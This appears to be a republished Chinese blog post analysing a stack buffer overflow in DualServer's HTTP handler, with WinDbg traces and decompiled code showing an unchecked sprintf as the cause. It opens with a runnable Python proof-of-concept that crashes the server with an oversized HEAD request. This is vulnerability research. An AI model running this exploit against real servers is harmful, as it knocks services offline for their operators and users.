dualserver dos漏洞分析 (四)
2024-1-10 18:5:10 Author: 3072(查看原文) 阅读量:2 收藏

POC如下

import socket
import time
import sys

host = ""
port = 6789
 
def send_request(host,port,data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host,port))
        s.send(data)
        print "[+] Malicious Packet Sent [+]\n"
         
    except Exception:
        print "[+] Exploit failed . . .[+]\n"
    s.close()
 
     
 
ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400
 
if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]
 
#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))

运行POC后产生异常,发现ebx被控制,且栈被破坏,猜测大概率是栈上的溢出

0:006> g
(ae4.3f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\root\Desktop\DualServer\DualServer.exe
DualServer+0x7f99:
00407f99 894324          mov     dword ptr [ebx+24h],eax ds:002b:44444468=????????
0:000:x86> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0028fc18 42424242 44444444 44444444 44444444 DualServer+0x7f99
0028fc1c 44444444 44444444 44444444 44444444 0x42424242
0028fc20 44444444 44444444 44444444 44444444 0x44444444
0028fc24 44444444 44444444 44444444 44444444 0x44444444

接下来分析ebx为何被控制为了0x44444444,结合IDA和POC可以确定漏洞产生的原因是recv函数接受数据到栈上,但由于recv存在长度限制,产生漏洞的根本原因应该在后面

0:003> bp 00407BEC 
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\root\Desktop\DualServer\DualServer.exe
0:003> bl
 0 e x86 00000000`00407bec     0001 (0001)  0:**** DualServer+0x7bec
0:003> g
Breakpoint 0 hit
DualServer+0x7bec:
00407bec e8b79a0100      call    DualServer+0x216a8 (004216a8)
0:000:x86> dd esp L4
0028f2b0  0000006c 0028f2e0 00000400 00000000

接下来可以对栈上的地址下写入断点,来判断是后续的那部分代码导致的溢出

0:000:x86> g
Breakpoint 1 hit
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for msvcrt.dll - 
msvcrt!wtoi+0x65:
76edc888 ff01            inc     dword ptr [ecx]      ds:002b:0028f288=0028fc20
0:000:x86> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0028efd8 76edd0ba 0000018f 00000000 00000000 msvcrt!wtoi+0x65
0028f268 76eed399 0028f288 004323cf 00000000 msvcrt!wtoi+0x897
0028f2a8 00407f0e 0028fa10 004323cf 0028f810 msvcrt!sprintf+0x45
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
0028fcc0 7749389e 00510138 7749387a 7723aac6 DualServer+0x7f0e
0028fcc8 7749387a 7723aac6 00000000 00510000 ntdll_77460000!RtlImageNtHeader+0x73a
00510138 ffffffff 00000000 00000000 00000000 ntdll_77460000!RtlImageNtHeader+0x716
0051013c 00000000 00000000 00000000 00000000 0xffffffff

根据断点可以确定是sprintf导致的溢出,根据sprintf的函数约定可以确定是最后一个参数导致的

0:000:x86> dd 0028f2a8 L6            // ebp ret buf formatstr a1 a2
0028f2a8  0028fc18 00407f0e 0028fa10 004323cf
0028f2b8  0028f810 0028f2e5

0:000:x86> dc 0028f2e5
0028f2e5  4141412f 41414141 41414141 41414141  /AAAAAAAAAAAAAAA
0028f2f5  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f305  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f315  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f325  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f335  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f345  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0028f355  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

0:000:x86> dc 0028f810
0028f810  2e373231 2e302e30 00000031 00537b98  127.0.0.1....{S.
0028f820  00521bd0 7747f911 745ba7a6 0000006c  ..R...Gw..[tl...
0028f830  00000134 00000000 00000000 0028f860  4...........`.(.
0028f840  00012037 0028f870 00000004 0028f868  7 ..p.(.....h.(.
0028f850  00000008 00537d80 0028f9b8 745ba6a1  .....}S...(...[t
0028f860  00000000 00537af0 00000003 0028f9b8  .....zS.......(.
0028f870  83f7bf74 0028f9b8 745ba720 00537af0  t.....(. .[t.zS.
0028f880  00000000 00537cd8 745ba72d 00000000  .....|S.-.[t...

0:000:x86> dc 004323cf
004323cf  65696c43 2520746e 25202c73 6f6e2073  Client %s, %s no
004323df  6f662074 00646e75 696c4300 20746e65  t found..Client 
004323ef  202c7325 61766e49 2064696c 70747468  %s, Invalid http
004323ff  71657220 74736575 2c612500 20642520   request.%a, %d 
0043240f  25206225 48252059 3a4d253a 47205325  %b %Y %H:%M:%S G
0043241f  0000544d 61743c00 20656c62 64726f62  MT...<table bord
0043242f  223d7265 63202231 706c6c65 69646461  er="1" cellpaddi
0043243f  223d676e 77202231 68746469 3436223d  ng="1" width="64

最后一个参数的Token是myGetToken的返回值,传入的参数就是recv接受的buf

Token = (char *)myGetToken(buf, 1u);

...

sprintf(Buffer, "Client %s, %s not found", v7, Token);// 溢出

char *__cdecl myGetToken(char *Str, unsigned __int8 a2)
{
  while ( *Str && a2 )
  {
    --a2;
    Str += strlen(Str) + 1;
  }
  return Str;
}

可以发现该函数非常简单,功能就是从buf中去掉http的method的并返回剩余的字符串

因此该漏洞产生和触发的流程如下

procHTTP  {
    recv 接受外部的数据到栈上
    myGetToken  去掉http method并返回字符串
    sprintf 通过sprintf 连接字符串,但并没有检查Token的长度导致溢出
    mov dword ptr [ebx+24h],eax ; sprintf覆盖了 procHTTP的参数block所在的地址,在对block赋值时触发漏洞
}
    

文章来源: http://mp.weixin.qq.com/s?__biz=MzU4OTk0NDMzOA==&mid=2247484104&idx=1&sn=fed3cbb391c74377527a79ceb86b54f4&chksm=fc55eedf6352a89a5d0e32983f244ec78103e9739a0032f09aaf8e1e9f8f6ef8a9c783477979&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh